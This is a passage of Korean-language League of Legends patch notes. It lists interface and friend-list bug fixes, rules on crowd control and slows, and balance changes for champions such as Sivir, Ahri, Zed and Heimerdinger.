o 온라인 상태인 친구가 오프라인으로 표시되는 버그

o 친구 이름을 클릭하면 다른 친구 정보가 표시되는 버그

o 친구가 다른 친구 이름으로 표시되는 버그

• 친구 요청 수락 대기 중인 플레이어에게 게임 초대를 보내면, 그 후 온라인으로 표시되는 버그를 수정했습니다.
• 새로워진 친구 목록에 맞게 그룹 채팅 창의 디자인을 업데이트 했습니다.

 

게임 인터페이스
• 부활 시 카메라 이동 등의 몇 가지 선택 사항이 저장되지 않던 버그를 수정했습니다.
• 이제 채팅 기록을 보기 위해 채팅 창을 위로 스크롤하고 있으면 갑자기 아래로 떨어지지 않습니다.

 

게임 내부 시스템


요약: 공격 속도 둔화 효과는 이동 방해 효과와 같이 적용되지 않는 경우 정화 등의 해로운 효과 제거 주문, 스킬,

아이템 등으로 제거되지 않았습니다. 이제 모든 공격 속도 둔화 효과는 소환사 주문 정화를 통해 제거할 수 있으며

이동 속도 둔화와 마찬가지로 취급됩니다.

 

설명: 공격 속도 둔화 효과를 수정하는 이유는 해로운 효과 제거를 이용한 대응 전략을 더 일관성 있게 사용할 수

있도록 하기 위함입니다. 요점만 말씀드리면, 이동 속도든 공격 속도든 모든 둔화 효과를 동일하게 취급하려 합니다.

 

• 이제 공격 속도 둔화 효과는 이동 방해 효과와 마찬가지로 취급되어 정화 등으로 제거할 수 있습니다.
• 이 변경으로 영향 받는 챔피언 스킬 및 아이템:

o 그라가스의 술통 굴리기

o 말파이트의 지면 강타

o 란두인의 예언

o 파수꾼의 갑옷

 

궁극기에 돌진이 포함된 챔피언들

요약: 이제 다음 챔피언들은 돌진을 마친 후 속박 및 기절 군중 제어기의 영향을 받게 됩니다. 해당하는 스킬들은

여전히 저지할 수 없지만, 챔피언이 이 스킬을 사용하는 도중 군중 제어기를 적중 당하면 스킬 발동이 완료된 후

해당 효과가 발동됩니다. 군중 제어기의 지속 시간은 챔피언이 돌진 도중인 적중 순간부터 계산됩니다.

 

설명: 궁극기에 돌진이 포함된 챔피언들에 대한 더 폭 넓은 대응책을 마련할 수 있도록, 해당 챔피언들이 돌진 후에

속박이나 기절 등 특정 군중 제어기의 영향을 받도록 수정했습니다. 예를 들어, 챔피언이 돌진해오는 도중

속박 효과를 적중시킨다면 스킬 발동까지는 마치겠지만 그 후 속박 상태가 됩니다.

 

• 이제 “저지 불가” 궁극기의 시전 도중에 방해 효과가 적용됩니다. (이전까지는 모든 군중 제어기를 무시했습니다.)

그러나 방해 효과가 적용되더라도 이와 관계 없이 돌진 자체는 완료되며, 그 후에 군중 제어기의 효과가 나타납니다.
• 이 변경으로 영향 받는 챔피언 스킬

o 자르반 4세의 대격변

o 녹턴의 피해망상

o 바이의 기동타격

o 말파이트의 멈출 수 없는 힘

o 헤카림의 그림자의 맹습

 

은신 챔피언
• 이제 챔피언이 은신하면 화면 색조가 변하는 효과가 적용됩니다. 이 효과는 해당 챔피언을 플레이하는

플레이어에게만 나타납니다.
• 이 변경으로 영향 받는 챔피언

o 아칼리

o 카직스

o 르블랑

o 샤코

o 탈론

o 티모

o 트위치

o 베인

o 오공

 

챔피언 배경 스토리 (한국)
• 아래 챔피언들의 배경 스토리를 자연스럽게 읽히고 흡입력 있도록 다듬었습니다. 이 변경은 한국에 한하며,

때맞춰 리메이크 된 챔피언 외엔 내용에는 변화가 없습니다. 남은 챔피언들의 배경 스토리도 시즌4 개시 전까지

순차적으로 다듬을 예정입니다.

o 갱플랭크, 니달리, 다이애나, 라이즈, 럭스, 루시안, 르블랑, 리신, 마오카이, 모데카이저, 문도 박사,

베이가, 베인, 블리츠크랭크, 뽀삐, 쉔, 시비르 (리메이크), 아리, 아무무, 아칼리, 알리스타, 애니, 오리아나,

요릭, 워윅, 이즈리얼, 자이라, 직스, 카사딘, 카직스, 카타리나, 코그모, 코르키, 트위스티드 페이트, 판테온,

피들스틱, 하이머딩거

 

챔피언 


람머스
일반
• 람머스의 게임 내 그래픽을 업데이트 했습니다.

 

모르가나
요약: 모르가나의 공격 사거리와 기본 공격 속도, 기본 공격 애니메이션을 전반적으로 개선했습니다. 고통의 대지는

더 이상 적의 마법 저항력을 조금씩 감소시키지 않으며, 대신 적이 잃은 체력에 비례해 추가 피해를 입힙니다.

변경된 고통의 대지가 어떻게 작용하는지에 따라 다를 수 있겠지만 전반적인 공격력은 비슷하게 유지되도록

했습니다.

 

설명: 모르가나와 고통의 대지를 최근 추세에 맞게 개선하여, 어둠의 속박을 계속 적중시키며 끊임없이 공격적으로

플레이하는 스타일이 유리하도록 했습니다. 특히, 고통의 대지로 먼저 마법 저항력을 감소시켜 어둠의 속박 피해량을

더 크게 하는 ‘이상적인’ 연계기보다 어둠의 속박 후에 고통의 대지를 사용하는 기본적인 스킬 연계를 활용할 수

있도록 했습니다.

 

일반
• 기본 공격 사거리를 450으로 늘렸습니다. (기존 425)
• 기본 공격 속도를 0.625로 높였습니다. (기존 0.579)
• 기본 공격의 반응성을 개선했습니다.
고통의 대지
• 초당 피해를 24/38/52/66/80(+0.22 주문력)으로 변경했습니다. (기존 25/40/55/70/85(+0.2 주문력))
• 이제 고통의 대지 피해량은 적이 잃은 체력에 비례해 최대 50%까지 높아집니다.
• 피해를 입히는 간격을 매 1초에서 매 0.5초로 줄였습니다.
• 마법 저항력 감소 효과가 삭제됐습니다.

 

시비
요약: 시비르의 그래픽이 업그레이드 됐습니다. 또한, 튕기는 부메랑 효과는 세 번의 기본 공격에 적용되며, 새로운

공격 대상이 있는 한 무한정 반사됩니다. 단, 동일한 대상을 두 번 이상 공격하는 경우는 없습니다. 또한, 첫 공격 후

반사된 부메랑에 맞은 대상에겐 모두 일정한 비율의 피해량이 적용됩니다. 주문 방어막은 더 이상 마나를

소모하지 않고, 사냥 개시의 시전 시간도 사라지지만 아쉽게도 공격 속도 증가 효과는 삭제했습니다.

사냥 개시의 경우 처음에 이동 속도를 크게 높인 후 시간이 지나면서 그 효과가 감소하는 대신 더 오래 지속되도록

변경됐으며 튕기는 부메랑 스킬을 사용하면 공격 속도가 증가하는 지속 효과를 사냥 개시에 추가했습니다.

또한, 시비르의 이동 모션을 개선하여 이제 슬로 모션처럼 보이지 않습니다. (이동 속도는 변함 없습니다).

 

설명: 시비르를 리메이크하는 과정에서 시비르를 뻔하고 전형적인 원거리 딜러로 만들지 않기 위해 노력했습니다.

따라서 튕기는 부메랑의 강력한 광역 피해나, 사냥 개시의 아군 속도 증가 효과와 같은 시비르만의 특징을

잘 살리는 방향으로 변경했습니다. 시비르를 좋아하는 플레이어들이 익숙해진 플레이 스타일을 계속해서

즐길 수 있도록 하면서, 최근의 게임플레이 흐름에 맞고 그래픽 측면에서 플레이어 여러분의 기대 수준에

부응할 수 있도록 했습니다.

 

일반

• 시비르의 그래픽을 업그레이드 했습니다. 이곳에서 자세히 확인하세요.
• 레벨당 공격 속도 증가량이 1.6으로 감소했습니다. (기존 3.28)
튕기는 부메랑
• 시전 후 다음 세 번의 기본 공격에 튕기는 부메랑 효과가 적용됩니다.
• 부메랑은 이제 무한히 반사됩니다. 단, 한 번 공격한 대상을 다시 공격하는 경우는 없습니다.
• 이제 가장 가까운 대상에게 반사됩니다. (기존 – 범위 내의 대상을 무작위로 선택)
• 두 번째부터 적중하는 모든 대상에게 50/55/60/65/70%의 피해를 입힙니다. (기존 –반사될 때마다 피해가 20%씩 감소)
• 기본 피해량이 삭제됐습니다.
• 재사용 대기시간이 9/8/7/6/5초로 증가했습니다. (기존 7/6/5/4/3초)
주문 방어막
• 마나 소모량이 0으로 감소했습니다. (기존 75)
• 마나 회복량이 60/75/90/105/120으로 감소했습니다. (기존 150)
사냥 개시
• 이제 시전 시간 없이 바로 발동됩니다.
• 이제 공격 속도를 상승시키지 않습니다.
• 새 지속 효과가 생깁니다. 튕기는 부메랑 스킬을 사용하는 동안에는 시비르의 공격 속도가 40/60/80% 증가합니다.
• 이동 속도 증가율이 시전 직후 60%에서 시작해 4초 후 20%로 감소합니다.
• 재사용 대기시간은 120/90/60초로 변경됐습니다. (기존 100/90/80초)

 

아리
요약: 매혹의 마나 소모량이 레벨과 관계없이 일정하도록 변경하는 대신, 아리가 매혹에 걸린 대상에게 입히는

마법 피해를 증폭하는 효과를 부여했습니다. 정기 흡수는 이제 주문 흡혈을 높여주는 대신, 기본 지속 효과로

강화된 스킬로 적중시킨 적의 수에 비례해 아리의 체력을 회복합니다. 여우불은 한 번 시전해 같은 대상을 여러 번

공격하면 피해량이 전보다 더 감소합니다. 또한 혼령 질주의 기본 피해량과 주문력 계수를 소폭 낮추었습니다.

 

설명: 아리는 다재다능하고 안정적이어서 약점이라고는 거의 없는 강력한 챔피언입니다. 그래서 상대적으로

안전한 입장에서 상대를 계속해서 거세게 압박할 수 있지요. 챔피언으로서 아리의 강점이 무엇인지를 좀 더

명확하게 할 필요가 있습니다. 이번 변경으로 아리를 플레이하든 적으로 만나든, 실력에 따라 뚜렷한 차이를

볼 수 있도록 했습니다. 다음을 중점으로 두고 변경했습니다.

 

• 아리의 기본적인 공격로 플레이 패턴을 더 뚜렷하게 만들어, 아리와 상대 모두 이 패턴을 기본으로 플레이할 수

있도록 했습니다.
• 아리의 위험 부담이 크면서도 강력한 플레이 스타일이 매혹 스킬 적중에 더 긴밀히 연계되도록 했습니다.

매혹을 반드시 피해야 할 ‘죽음의 키스’로 자리매김하고, 동시에 매혹의 재사용 대기시간 동안에는 아리의

위협적인 존재감을 줄였습니다.
• 아리의 핵심 게임플레이 스타일은 그대로 유지하면서, 그다지 효과가 없는 패턴으로 플레이할 경우에는 전보다

약해지도록 변경했습니다.

 

정기 흡수
• 기본 지속 효과로 강화된 스킬이 적에게 적중할 때마다 2(챔피언 레벨당 1 추가)(+0.09 주문력)만큼 회복합니다.

(기존 35% 주문 흡혈)
여우불
• 마나 소모량이 50으로 줄었습니다. (기존 60)
• 동일한 대상을 다시 맞출 때 피해가 70% 감소합니다. (기존 50%) (즉, 세 번 다 맞출 경우, 100% + 30% + 30%)
• 이로써 한 대상이 입는 피해가 최대 64/104/144/184/224(+0.64 주문력)로 줄어듭니다.

(기존 80/130/180/230/280(+0.8 주문력))
• 여우불에 100% 피해를 입어야 할 때 가끔 감소한 피해만 입던 버그를 수정했습니다.
매혹
• 아리가 대상에 입히는 마법 피해를 6초간 20% 증폭시킵니다.
• 마나 소모량을 85로 변경했습니다. (기존 50/65/80/95/110)
혼령 질주
• 기본 피해량이 70/110/150(+0.3 주문력)으로 감소했습니다. (기존 85/125/165(+0.35 주문력))
• 이에 따라 한 대상에 가할 수 있는 최대 피해량이 210/330/450(+0.9 주문력)으로 줄었습니다.

(기존 255/375/495(+1.05 주문력))

 

아트록스
요약: 이제 피의 샘에 의한 기본 공격 속도 증가 효과는 챔피언 레벨과 비례해 증가합니다. (저레벨에선 기존보다

효과가 작고 최고 레벨에선 기존보다 큽니다.) 또한, 고통의 검 피해량이 줄었습니다. (저레벨에선 기존과 동일하고

최고 레벨에서는 기존보다 낮습니다.)

 

설명: 높은 체력을 갖추었으면서 짧은 시간에 상당한 피해도 입힐 수 있는 챔피언은 상대하기 까다롭기 마련입니다.

그래서 이번에 아트록스의 기본 피해량을 낮추기로 했습니다. 이번 변경으로 아트록스는 피해량에 초점을 두고

아이템을 구성해야만 하며 지금처럼 생존력과 공격력을 겸비하기는 어려울 것입니다.

 

피의 샘
• 기본 공격 속도 증가율을 기존 50%에서 30/35/40/45/50/55%로 변경했습니다. (3레벨마다 업그레이드)
고통의 검
• 피해량을 75/110/145/180/215로 낮추었습니다. (기존 75/120/165/210/255)

 

올라프
요약: 역류의 둔화 효과 지속시간을 늘렸고 마나 소모량을 레벨과 관계없이 일정한 수준으로 고정했습니다. 광포한

공격의 경우 저레벨에서 이동 속도가 더 크게 높아지며, 무모한 강타는 올라프의 체력 소모량을 약간 줄였습니다.

 

설명: 이전 리메이크에서 너무 조심스럽게 변경하는 바람에, 올라프가 이전처럼 낡고 뒤쳐지진 않으나 지나치게

약한 챔피언이 돼 버렸습니다. 일부 고질적인 문제들은 해결했으므로 이제는 전체적으로 스킬 밸런스를 맞추기 위해

노력했습니다. 이번 변경은 올라프가 스킬을 제대로 적중시키면 적에게 근접하기가 더 쉬워지고 이에 따라 적을

처치하기가 더 쉬워지도록 하는 데 초점을 맞추었습니다.

 

역류
• 둔화 효과 지속시간이 1.5~2.5초로 늘었습니다. (기존 1.0~2.0초)
• 마나 소모량을 60으로 변경했습니다. (기존 55/60/65/70/75)
광포한 공격
• 공격 속도 증가율을 40/50/60/70/80%로 높였습니다. (기존 20/35/50/65/80%)
무모한 강타
• 체력 소모량이 적에게 입힌 피해량의 30%로 감소했습니다. (기존 40%)

 

자이라

요약: 치명적인 꽃 피해량을 전반적으로 하향했지만 주문력 계수는 높였습니다. 맹렬한 성장의 재사용 대기시간

감소 지속 효과를 하향했습니다. 맹렬한 성장으로 생성된 식물의 기본 피해는 저레벨에서 하향했지만, 고레벨에서는

상향했습니다. 씨앗이 자라거나 식물이 격분할 때 좀 더 직관적으로 동작하도록 바꿔 전체적으로 개선된 느낌을

받을 수 있도록 했습니다.

설명: 자이라의 저레벨 견제 능력을 줄이려 했으며, 전체적으로 하향하는 대신 스킬과 씨앗을 좀 더 유동적으로

연계하기 좋도록 만들었습니다. 또한, 스킬의 기본 피해는 줄이고 주문력 계수를 높여 마법사로서의 위력은

유지하면서도 서포터로서의 능력은 하향하고자 했습니다.

 

치명적인 꽃
• 사거리가 800으로 감소했습니다. (기존 825)
• 피해량을 70/105/140/175/210(+0.65 주문력)으로 변경했습니다. (기존 75/115/155/195/235(+0.6 주문력))
맹렬한 성장
• 지속 효과의 재사용 대기시간 감소량이 2/4/6/8/10%로 줄었습니다. (기존 4/8/12/16/20%)
• 식물의 기본 피해량이 23(챔피언 레벨당 +6.5)로 바뀝니다. (기존 26(챔피언 레벨당 +6))
• 씨앗이 밟아 없앨 수 있게 되기까지 걸리는 시간을 1.5초로 줄였습니다. (기존 3초)
• 사거리가 825로 증가했습니다. (기존 800)
• 드물게 스킬을 시전해도 씨앗이 식물로 자라지 않던 버그를 수정했습니다.
올가미 덩굴
• 이제 공중에 띄운 적이 착지한 후에 기절 효과가 지속되지 않습니다.
• 이제 올가미 덩굴을 시전하면 제대로 범위 내에 있는 식물이 격분합니다.

 

제드
요약: 살아있는 그림자와 죽음의 표식 스킬 발동에 걸리는 시간이 늘어났습니다. 또, 이제 죽음의 표식은 공격 대상의

뒤가 아닌 제드의 시작 위치에 그림자를 생성합니다. 죽음의 표식으로 생성되는 그림자의 지속시간이 늘어나고

제드가 훨씬 더 먼 위치에서도 그림자와 위치를 바꿀 수 있게 됩니다.

 

설명: 특히 프로 경기와 랭크 게임에서, 제드의 밸런스 문제는 참 어려운 숙제였습니다. 제드는 상당히 재미있는

플레이 스타일을 갖춘 챔피언이지만, 스킬 연계를 순식간에 퍼부을 수 있어 상대 입장에선 대응할 시간조차

없었습니다. 최근에는 별다른 조작 없이도 죽음의 표식을 활용해 쉽게 연계기를 적중시킬 수 있게 된 상태입니다.

그림자를 조작하는 것이 제드라는 챔피언의 핵심인 만큼, 제드 플레이어들이 적극적으로 스킬 활용 전략을 짤

필요가 있도록 변경했습니다.

 

살아있는 그림자
• 살아있는 그림자가 목표 지점에 도달하는 데 걸리는 시간이 크게 증가했습니다.

(그림자 이동 속도 2500에서 1500으로 감소)
죽음의 표식
• 이제 대상의 뒤가 아니라 제드의 공격 시작 위치에 살아있는 그림자를 생성합니다.
• 제드가 대상에 돌진하기 전에, 대상으로 지정할 수 없게 되는 시간을 0.75초로 늘렸습니다. (기존 0.35초)
• 죽음의 표식 그림자가 이제 6초 동안 지속됩니다. (기존 4초)
• 제드가 죽음의 표식 그림자와 위치를 바꿀 수 있는 최장 거리가 2000으로 늘었습니다. (기존 1100)

 

직스
요약: 짧은 도화선의 피해량을 소폭 상향했습니다. 또한, 이제 반동 폭탄을 최대 사거리 바깥의 대상에

시전할 수 있으나 폭탄은 최대 사거리까지만 날아가도록 변경했고, 휴대용 폭약의 폭발 반경을 넓혔습니다.

그리고 마법공학 지뢰밭과 지옥 화염 폭탄이 미니언에게 입히는 피해량을 높였습니다. 이제 미니언은

마법공학 지뢰밭에서 둘 이상의 지뢰를 밟아도 입는 피해량이 감소하지 않으며, 지옥 화염 폭탄에는 입는 피해량이

두 배로 증가합니다.


설명: 보조 측면에서 직스의 전반적인 성능을 높이고, 공격로를 압박하고 수비하는 데 특화된 챔피언으로서

제 역할을 다할 수 있도록 조정했습니다.

 

짧은 도화선
• 최대 피해를 150으로 높였습니다. (기존 139) (이제 정비례로 증가하지 않음)
반동 폭탄
• 최대 사거리 밖의 대상을 지정해도 반동 폭탄을 시전합니다. (대상 방향으로 최대 사거리까지만 날아감).
휴대용 폭약
• 폭발 반경이 325로 늘어납니다. (기존 275)
마법공학 지뢰밭
• 이제 미니언이 둘 이상의 지뢰를 밟았을 때 피해량이 감소하지 않습니다.
• 지뢰당 피해 반경이 150으로 증가합니다. (기존 135)
지옥 화염 폭탄
• 미니언에 입히는 피해량이 두 배로 증가합니다.

 

징크스
요약: 휘릭휘릭!의 기관단총에 의한 공격 속도 증가 효과를 저레벨에서 하향했습니다. 빠직!의 기본 피해도

저레벨에서 낮추었고 마나 소모량은 약간 늘렸습니다. 또한 빠직!으로 은신 중인 유닛이 드러나지 않도록

변경했습니다.

 

설명: 징크스의 스킬 구성은 게임 중후반에 약점이 많이 드러나지만 초기에는 공격로 장악력이 지나치게 강해

게임 전체적인 밸런스를 무너뜨리는 경향이 있었습니다. 따라서 게임 초반 징크스의 피해량을 줄이면서,

게임 후반에 미치는 영향을 최소화하려고 했습니다.

 

휘릭휘릭! – 기관단총
• 최대 공격 속도 증가 비율이 30/55/80/105/130%로 감소했습니다. (기존 50/70/90/110/130%)
빠직!
• 기본 피해가 10/60/110/160/210로 줄었습니다. (기존 30/75/120/165/210)
• 마나 소모량이 50/60/70/80/90로 늘었습니다. (기존 45/55/65/75/85)
• 더 이상 은신 중인 유닛을 드러내지 않습니다.

 

카사딘
요약:  무의 구체의 고레벨 마나 소모량과 피해량을 줄였습니다. 저레벨에선 침묵 효과 지속시간이 늘어났지만

최고 레벨에서는 약간 줄어들었습니다. 균열 이동의 기본 피해와 중첩 시 추가 피해량을 높였으며 중첩될 때마다

약간의 주문력 계수를 더하도록 했습니다. 또한 이제 균열 이동으로 적 챔피언에게 피해를 입히면 총 마나 소모량의

50%를 돌려 받습니다. 마지막으로 카사딘은 이제 레벨 상승에 비례해 마법 저항력이 높아지지 않습니다.

 

설명: 현재 카사딘은 공격로 단계를 넘어가면, 특히 이기고 있을 때 지나치게 안전하게 플레이할 수 있습니다.

무의 구체와 힘의 파동으로 원거리에서도 꾸준히 큰 피해를 줄 수 있고 균열 이동으로 쉽게 도망칠 수도 있습니다.

따라서 균열 이동을 주력 공격 스킬로 사용하게 하면서, 카사딘이 실수할 경우 상대가 이를 이용할 수 여지를 주도록

변경했습니다.

 

일반
• 레벨당 상승하는 마법 저항력이 0으로 감소합니다. (기존 1.25)
무의 구체
• 기본 피해가 80/115/150/185/220로 줄었습니다. (기존 80/130/180/230/280)
• 침묵 효과 지속시간이 1.5/1.75/2.0/2.25/2.5초로 변경됐습니다. (기존 1/1.4/1.8/2.2/2.6초)
• 마나 소모량이 70/75/80/85/90으로 변경됐습니다. (기존 70/80/90/100/110)
균열 이동
• 기본 피해가 80/100/120로 증가했습니다. (기존 60/70/80)
• 균열 이동을 연속으로 사용할 때의 기본 피해 증가량이 50/55/60으로 감소했습니다. (기존 60/70/80)
• 중첩될 때마다 0.1의 주문력 계수가 추가됩니다.
• 균열 이동이 적 챔피언에게 피해를 입힐 때마다 총 마나 소모량의 50%를 돌려 줍니다.

 

코르키 

요약: 코르키의 기본 공격 속도가 감소했습니다. 미사일 폭격의 기본 피해량이 저레벨에서 줄어들었고

미사일 발사 간의 재사용 대기시간이 증가했습니다. 또한, 미사일 발사 간격은 재사용 대기시간 감소 효과의

영향을 받지 않게 됐습니다. 그러나 미사일 장전 간격은 재사용 대기시간 감소 효과로 줄어들게 됩니다.

 

설명: 전반적으로 삼위일체를 활용하는 방향으로 코르키를 변경한 점을 다시 바꿀 필요는 없지만 최근에는>

맞서 싸우기 너무 어려운 상대가 됐습니다. 스킬을 중심으로 플레이하는 유사한 원거리 딜러들과 코르키의 균형을>

맞추기 위해 일부 지나치게 강하다고 생각되는 능력을 줄였습니다. 궁극적으로는 미사일 폭격이 한꺼번에>

막대한 피해를 주기보다는 꾸준히 큰 피해를 입히도록 하는 것이 목표입니다.


일반

• 기본 공격 속도가 0.625로 줄어듭니다. (기존0.658)

미사일 폭격
• 기본 피해가 100/180/260으로 감소합니다. (기존 120/190/260)
• 미사일 발사 재사용 대기시간이 2초로 늘어납니다. (기존 1.2초)
• 더 이상 재사용 대기시간 감소로 미사일 발사 재사용 대기시간을 줄일 수 없습니다

  (그러나 미사일 장전 간격은 줄일 수 있습니다).

 

피즈
요약: 심해석 삼지창의 사용 효과의 주문력 계수를 크게 하향 조정했습니다.

 

설명: 피즈의 게임 후반 피해량을 일부 낮추었습니다. 게임 후반 전투에서 대상을 암살하려면 궁극기를 적중시키거나,

스킬들의 재사용 대기시간이 끝날 때까지 시간을 벌 방법을 찾는 것이 좀 더 중요하도록 변경했습니다.

 

장난치기 / 재간둥이
• 피즈가 삼지창 위에 올라 섰다 내려오는 도중에 공격 대상으로 지정할 수 있는 버그를 수정했습니다.

이제는 땅에 착륙한 후에만 대상으로 지정할 수 있습니다.
심해석 삼지창
• 사용 효과의 주문력 계수가 0.15로 감소했습니다. (기존 0.35)

 

하이머딩거

요약: 이번 패치에서 하이머딩거의 스킬 구성이 전면적으로 변경됐습니다. 마법기계공학 수리 로봇은 더 이상

아군 포탑을 수리하지 못합니다.  H-28G 진화형 포탑은 기존 공격에 더해 12초마다 직선 상의 대상에 피해를

입히는 광선을 발사합니다. 또한, 하이머딩거가 근처를 떠나면 일정 시간 후에 공격을 멈춥니다.

마법공학 초소형 로켓은 커서 위치에 모였다가 퍼져나가는 로켓 여럿을 발사하도록 변경됐습니다. 같은 적이 로켓에

여러 번 맞으면 두 발째부터 마법 피해가 줄어듭니다. CH-2 전자폭풍 수류탄은 이제 호를 그리며 날아갑니다.

업그레이드!!!를 사용하면 다음 스킬은 마나 소모 없이 시전할 수 있으며, 스킬에 추가 효과도 적용됩니다.

H-28G 진화형 포탑을 업그레이드하면 대형 H-28Q 최첨단 포탑으로 바뀌며 피해량이 증가하고 광선발사 간격도

줄어듭니다. 마법공학 초소형 로켓은 마법공학 로켓 연사로 업그레이드되어 적중 시 피해를 입히는 로켓 여럿을

네 차례 연속 발사합니다. CH-2 전자폭풍 수류탄은 CH-3X 전격 수류탄으로 업그레이드 되어 세 번 튀어 오르는 동안

각각 적에게 피해를 입히고 기절시킵니다.

 

설명: 하이머딩거가 새로운 장난감을 발명했습니다! 스킬 활용과 아이템, 특성, 룬 등의 최적화에 있어

하이머딩거를 차별화할 방법을 찾을 수 있도록 변경했습니다. 특히 다양한 플레이가 가능하도록 각 스킬마다

고유한 게임플레이 패턴과 상호작용을 마련하기 위해 노력했습니다. 스킬 마다 최적의 활용 방법을 궁리해볼

필요가 있을 것입니다. 정의의 전장을 포탑으로 뒤덮어 보세요!



 

기본 지속 효과 – 마법기계공학 수리 로봇
• 하이머딩거가 주변 아군 챔피언과 H-28G 진화형 포탑에 10/15/20/25/30의 추가 체력 재생력을 부여합니다.
H-28G 진화형 포탑

• 목표 지점에 포탑 하나를 설치합니다. 이 포탑은 하이머딩거의 공격 대상과 하이머딩거를 공격하는 적을

우선적으로 공격합니다.
• 하이머딩거가 24/23/22/21/20초마다 포탑 부품 세트를 생성하며 (재사용 대기시간 감소 효과로 줄일 수 있음)

최대 1/1/2/2/3개까지 보유할 수 있습니다.
• 소모량: 마나 20 + 포탑 부품 한 세트
• 재사용 대기시간: 1초
•  H-28G 진화형 포탑 능력치

o 체력: 150 (챔피언 레벨당 +25)

o 공격 - 대포: 15/22/29/36/42(+0.125 주문력)의 마법 피해를 입힙니다

o 공격 - 광선: 직선 상의 적들에게 50/75/100/125/150(+0.5 주문력)의 마법 피해를 입힙니다

o 최대 설치 가능 포탑 수: 3개

마법공학 초소형 로켓
• 로켓 다섯 발을 한 번에 발사하며 로켓은 커서 위치로 모였다 퍼져나갑니다. 각 로켓은 60/90/120/150/180

(+0.45 주문력)의 마법 피해를 입힙니다.
• 로켓에 두 발 이상 적중당한 적은 두 발째부터 각 20%의 마법 피해만 입습니다(최대 피해는 108/162/216/270/324).

미니언은 60%의 피해를 받습니다.
• 커서가 하이머딩거에 가까울수록 로켓이 더 넓게 퍼집니다.
• 소모량: 마나 70/80/90/100/110
• 재사용 대기시간: 11초
CH-2 전자폭풍 수류탄
• 적 유닛에 60/100/140/180/220(+0.6 주문력)의 마법 피해를 입히고 이동 속도를 2초간 35% 줄이는 수류탄을

던집니다.
• 수류탄 폭발 범위의 한가운데 있는 적은 1.25초간 기절합니다.
• 소모량: 마나 85
• 재사용 대기시간: 18/16/14/12/10초
 업그레이드!!!
• 하이머딩거의 다음 기본 스킬은 마나를 소모하지 않고 추가 효과가 적용됩니다.
• H-28Q 최첨단 포탑 : 포탄으로 90/110/130(+0.33 주문력)의 마법 피해를, 광선으로 8초간 225/300/375

(+0.8 주문력)의 마법 피해를 끼치는 포탑을 설치합니다.
• 마법공학 로켓 연사: 로켓을 한 번에 여러 발씩 네 번 연사합니다. 한 번에 135/180/225(+0.45 주문력)의 마법 피해를 입힙니다. 다수의 로켓에 적중당한 챔피언 및 몬스터는 두 발째 로켓부터 피해를 덜 입습니다. (최대 피해 550/690/865(+1.83 주문력))
• CH-3X 전격 수류탄: 세 번 폭발하며, 폭발 시마다 150/200/250(+0.6 주문력)의 마법 피해를 입히는 수류탄을 던집니다. 기절과 둔화 범위가 넓어지며 둔화 효과는 80%로 증가합니다.
• 재사용 대기시간: 100/85/70초
• 소모량: 100 마나

 

약간의 변경 및 버그 수정 


나서스
흡수의 일격
• 흡수의 일격이 주문 방어막을 무시하던 버그를 수정했습니다.

 

렝가
설명: 렝가가 은신 상태에서 도약해 덤벼들 때, 상대가 이를 알아채기가 지나치게 어렵습니다. 따라서 도약

도중이 아닌, 도약 시작 시 은신 상태를 벗어나도록 해 대상에 반격할 기회를 주고자 했습니다.

 

사냥의 전율
• 이제 렝가는 은신 중 대상을 공격하는 경우, 도약 시작 시 은신 상태를 벗어나게 됩니다.

 

마스터 이
설명: 명상 스킬에서 원래 문제가 된 부분은 주문력에 집중 투자한 마스터 이가 공격로를 너무 쉽게 장악하거나

한 번의 전투에서 여러 차례 명상을 사용하는 상황이었습니다. 따라서 이제 명상의 마나 소모량을 레벨에 따라

높일 이유가 없어졌습니다.

 

일격 필살
• 이제 마스터 이는 일격 필살 시전 중에 대상을 지정하는 스킬에 적중되지 않습니다.
명상
• 마나 소모량이 고정 50으로 줄어들었습니다. (기존 50/65/80/95/110)

 

블라디미르
혈사병
• 드물게 혈사병의 0.5초 시전 동작이 끝난 후에도 잠시 수혈과 선혈의 파도 스킬을 사용할 수 없었던

버그를 수정했습니다.

 


설명: 그림자 돌진은 시작 지점과 도착 지점에서 충돌 판정 반경이 상당히 커서 적중시키기 쉬운 편이었습니다.

이제 이를 하향할 필요가 있어 보입니다.

 

그림자 돌진
• 시작 및 도착 지점에서의 충돌 반경이 감소했습니다.

 

스웨인
설명: 이기고 있을 때의 게임 밸런스에 큰 영향을 미치지 않고서도 스웨인을 상향하려면, 시체 흡수를 변경하는

것이 적절한 선택으로 보였습니다.

 

시체 흡수
• 이제 킬이나 어시스트를 올릴 때마다 최대 마나량의 9%를 추가로 회복합니다.

 

신드라
요약: 신드라의 경우 스킬을 더 손쉽게 활용할 수 있도록 여러 차례 개선한 바 있습니다. 이제 적군 와해 스킬의

어둠 구체 이동 방향이 따로 표시되며, 풀려난 힘 스킬에는 발사될 구체의 수가 표시됩니다.

 

적군 와해
• 사거리가 700으로 늘어났습니다. (기존 650)
• 어둠 구체에 화살표가 표시되어 적군 와해에 맞았을 때의 날아갈 방향을 표시합니다.
풀려난 힘
• 스킬 아이콘 위에 발사될 어둠 구체의 숫자를 표시합니다.

 

쓰레쉬
일반
• 레벨당 공격 속도를 3%로 높였습니다. (기존 1%)
• 쓰레쉬의 기본 공격 동작 시간이 공격 속도 1%당 기존의 1%에서 0.25%로 감소합니다.

 

자르반 4세
설명: 이번 변경으로 자르반 4세가 데마시아의 깃발과 용의 일격 연계기를 좀 더 정확하게 활용할 필요가

있도록 하고, 상대 입장에서도 좀 더 피할 수 있는 여지를 남기도록 했습니다.

 

용의 일격 / 데마시아의 깃발
• 공중에 띄우는 효과의 충돌 판정 반경을 260에서 180으로 줄였습니다.

 

카직스
공허의 가시 – 가시 어깨 진화
• 둔화 효과가 20%에서 30%로 증가했습니다.

 

트린다미어
설명: 트린다미어의 맵 전체에 걸친 기동력을 하향해, 팀전에서의 기동력은 유지하면서도 트린다미어가 게임

내내 여러 공격로를 단독으로 압박하는 전략을 사용하기 어렵도록 했습니다.

 

회전 베기
• 미니언이나 몬스터에게 치명타가 적중할 때마다 재사용 대기시간이 2초가 아닌 1초 감소합니다.

  (챔피언에 치명타 적중 시엔 기존대로 2초 감소)

 

티모
유독성 함정
• 버섯을 파괴하면 경험치를 획득할 수 있던 버그를 수정했습니다.

 

궁극기 마나 소모량 감소 


설명: 기존 방침대로 마나 소모량이 큰 궁극기의 마나 소모량을 줄여, 기본 스킬과는 마나 소모량이 아닌  

재사용 대기시간으로 차별화하고자 했습니다. 아래에서 각 챔피언의 궁극기 마나 소모량이 어떻게 변경되는 지

확인할 수 있습니다.

 

레오나
흑점 폭발
